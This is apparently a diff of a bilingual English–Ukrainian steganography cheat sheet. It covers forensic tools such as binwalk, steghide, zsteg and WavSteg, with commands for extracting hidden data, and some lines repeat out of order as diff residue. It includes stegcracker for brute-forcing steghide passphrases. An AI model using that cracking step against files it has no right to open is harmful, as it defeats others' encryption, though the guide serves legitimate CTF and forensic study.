## **Витягування даних з файлів**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
Інструмент для пошуку бінарних файлів на наявність вбудованих прихованих файлів та даних. Він встановлюється через `apt`, а його вихідний код доступний на [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Відновлює файли на основі їх заголовків і футерів, корисно для png зображень. Встановлюється через `apt` з його джерелом на [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Допомагає переглядати метадані файлів, доступний [тут](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Схоже на exiftool, для перегляду метаданих. Встановлюється через `apt`, вихідний код на [GitHub](https://github.com/Exiv2/exiv2), і має [офіційний вебсайт](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Файл**
### **File**
Визначте тип файлу, з яким ви маєте справу.
Identify the type of file you're dealing with.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
### **Рядки**
Витягує читабельні рядки з файлів, використовуючи різні налаштування кодування для фільтрації виходу.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Порівняння (cmp)**
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Корисно для порівняння зміненого файлу з його оригінальною версією, знайденою в Інтернеті.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Витягування прихованих даних у тексті**
## **Extracting Hidden Data in Text**
### **Приховані дані в пробілах**
### **Hidden Data in Spaces**
Невидимі символи в, здавалося б, порожніх пробілах можуть приховувати інформацію. Щоб витягти ці дані, відвідайте [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Витягування даних з зображень**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **Визначення деталей зображення за допомогою GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) служить для визначення типів файлів зображень і виявлення потенційних пошкоджень. Виконайте команду нижче, щоб перевірити зображення:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Щоб спробувати відновити пошкоджене зображення, додавання коментаря до метаданих може допомогти:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide для приховування даних**
### **Steghide for Data Concealment**
Steghide дозволяє приховувати дані в файлах `JPEG, BMP, WAV та AU`, здатний вбудовувати та витягувати зашифровані дані. Встановлення є простим за допомогою `apt`, а його [джерельний код доступний на GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Команди:**
**Commands:**
- `steghide info file` показує, чи містить файл приховані дані.
- `steghide extract -sf file [--passphrase password]` витягує приховані дані, пароль є необов'язковим.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Для веб-витягування відвідайте [цей вебсайт](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Атака методом перебору з Stegcracker:**
- Щоб спробувати зламати пароль на Steghide, використовуйте [stegcracker](https://github.com/Paradoxis/StegCracker.git) наступним чином:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg для PNG та BMP файлів**
### **zsteg for PNG and BMP Files**
zsteg спеціалізується на виявленні прихованих даних у файлах PNG та BMP. Встановлення здійснюється через `gem install zsteg`, з його [джерелом на GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Команди:**
**Commands:**
- `zsteg -a file` застосовує всі методи виявлення до файлу.
- `zsteg -E file` вказує корисне навантаження для витягування даних.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas та Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas** перевіряє метадані, виконує трансформації зображень та застосовує брутфорс LSB серед інших функцій. Використовуйте `stegoveritas.py -h` для повного списку опцій та `stegoveritas.py stego.jpg` для виконання всіх перевірок.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve** застосовує різні кольорові фільтри для виявлення прихованих текстів або повідомлень у зображеннях. Він доступний на [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT для виявлення прихованого контенту**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Техніки швидкого перетворення Фур'є (FFT) можуть виявити прихований контент у зображеннях. Корисні ресурси включають:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic на GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy для аудіо та зображень**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy дозволяє вбудовувати інформацію в зображення та аудіофайли, підтримуючи формати, такі як PNG, BMP, GIF, WebP та WAV. Він доступний на [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **Pngcheck для аналізу PNG файлів**
Для аналізу PNG файлів або для перевірки їх автентичності використовуйте:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Додаткові інструменти для аналізу зображень**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Для подальшого дослідження, розгляньте можливість відвідати:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Витягування даних з аудіо**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**Аудіо стеганографія** пропонує унікальний метод приховування інформації в звукових файлах. Використовуються різні інструменти для вбудовування або отримання прихованого контенту.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide - це універсальний інструмент, призначений для приховування даних у файлах JPEG, BMP, WAV та AU. Докладні інструкції наведені в [документації стего трюків](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Цей інструмент сумісний з різними форматами, включаючи PNG, BMP, GIF, WebP та WAV. Для отримання додаткової інформації зверніться до [розділу Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg є важливим для оцінки цілісності аудіофайлів, підкреслюючи детальну інформацію та вказуючи на будь-які розбіжності.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg відзначається в приховуванні та витягуванні даних у WAV файлах, використовуючи стратегію найменш значущого біта. Він доступний на [GitHub](https://github.com/ragibson/Steganography#WavSteg). Команди включають:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound дозволяє шифрувати та виявляти інформацію в звукових файлах за допомогою AES-256. Його можна завантажити з [офіційної сторінки](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Безцінний інструмент для візуальної та аналітичної перевірки аудіофайлів, Sonic Visualizer може виявити приховані елементи, які не піддаються виявленню іншими засобами. Відвідайте [офіційний вебсайт](https://www.sonicvisualiser.org/) для отримання додаткової інформації.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
Виявлення DTMF тонів в аудіофайлах можна здійснити за допомогою онлайн-інструментів, таких як [цей детектор DTMF](https://unframework.github.io/dtmf-detect/) та [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
## **Інші техніки**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Бінарні дані, які в квадраті дають ціле число, можуть представляти QR-код. Використовуйте цей фрагмент коду для перевірки:
```python
import math
math.sqrt(2500) #50
```
Для перетворення двійкових даних в зображення, перевірте [dcode](https://www.dcode.fr/binary-image). Щоб прочитати QR-коди, використовуйте [цей онлайн-сканер штрих-кодів](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Переклад Брайля**
### **Braille Translation**
Для перекладу Брайля [Branah Braille Translator](https://www.branah.com/braille-translator) є відмінним ресурсом.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Посилання**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

Some files were not shown because too many files have changed in this diff Show More